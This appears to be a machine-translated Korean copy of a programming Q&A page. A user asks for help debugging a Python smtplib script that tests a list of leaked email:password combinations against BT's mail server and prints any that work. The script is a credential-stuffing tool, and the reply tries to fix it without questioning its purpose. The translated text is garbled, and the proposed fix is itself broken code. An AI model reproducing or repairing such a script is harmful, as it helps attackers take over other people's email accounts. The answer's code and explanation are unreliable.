2017-10-24 1 views
0
import smtplib 

smtpserver = s.connect("mail.btinternet.com", 465) 
SMTP.helo("mail.btinternet.com") 
SMTP.ehlo("mail.btinternet.com") 

file = open("Combo.txt", "r") 

for line in file: 
    x = line.split(":") 
    user = x[0] 
    password = x[1] 

    s.login(user, password) 
    print("[+] Password Found: %s" % password) 

    if smtplib.SMTPAuthenticationError: 
     print("Incorrect") 

여기 내 코드가 있습니다. 파일에서 이메일/비밀번호 조합 목록을 확인하여 특정 서버 (내 경우 BT)에 있는지 확인합니다.AttributeError를 되살리는 이유는 무엇입니까? 'int'객체에 'find'속성이 없습니다?

그러나 라이브러리 이름에 문제가있어 사용 방법을 잘 모르겠습니다. 나는 파이썬 문서를 점검했지만, 누군가가 내게 무엇이 잘못되었는지를 말할 수 있다면, 나는 그것을 깊이 감사 할 것이다.

오류가 수신되었습니다. 이 또한 일관성 가져온 라이브러리를 호출하고 있기 때문에 나는 당신의 라이브러리로 제대로 작동하지 않는 이유를 생각

문제에 대한
Traceback (most recent call last): 
    File "main.py", line 3, in <module> 
    smtpserver = s.connect("mail.btinternet.com", 465) 
NameError: name 's' is not defined 
exited with non-zero status 
+0

무엇이 문제입니까? – SLaks

+0

@SLaks 업데이트했습니다. – poisonishere

+0

하지만 오류 메시지는 모든 것을 알려주지 만 그렇지 않습니까? s는 정의되지 않았습니다. 이는 코드를 보면 분명합니다. –

답변

0

다른 잘못된 라이브러리 이름 나에게 오류를 줄 것이다 :

예 때로는 's.xxxxx'를 입력하고, 모듈 속성에 'SMTPlib.xxxxx'를 입력하는 경우 smtplib을 's'로 가져와야합니다.

그렇다면이 라이브러리는 's'라는 짧은 형식으로 라이브러리를 저장하기 때문에 모듈을 호출하거나 라이브러리에서 함수를 사용할 때마다 전체 '.smtplib'를 입력 할 필요가 없지만 대신 특정 기능 뒤에 '.s'확장자를 입력하십시오.

import smtplib as s 

smtpserver = s.connect("mail.btinternet.com", 465) 
s.helo("mail.btinternet.com") 
s.ehlo("mail.btinternet.com") 

file = open("Combo.txt", "r") 

for line in file: 
    x = line.split(":") 
    user = x[0] 
    password = x[1] 

    s.login(user, password) 
    print("[+] Password Found: %s" % password) 

if s.SMTPAuthenticationError: 
    print("Incorrect") 

이제 문제를 해결해야합니다. 특정 라이브러리 이름의 함수를 일관된 방식 ('s')으로 호출해야 함을 기억하십시오.

관련 문제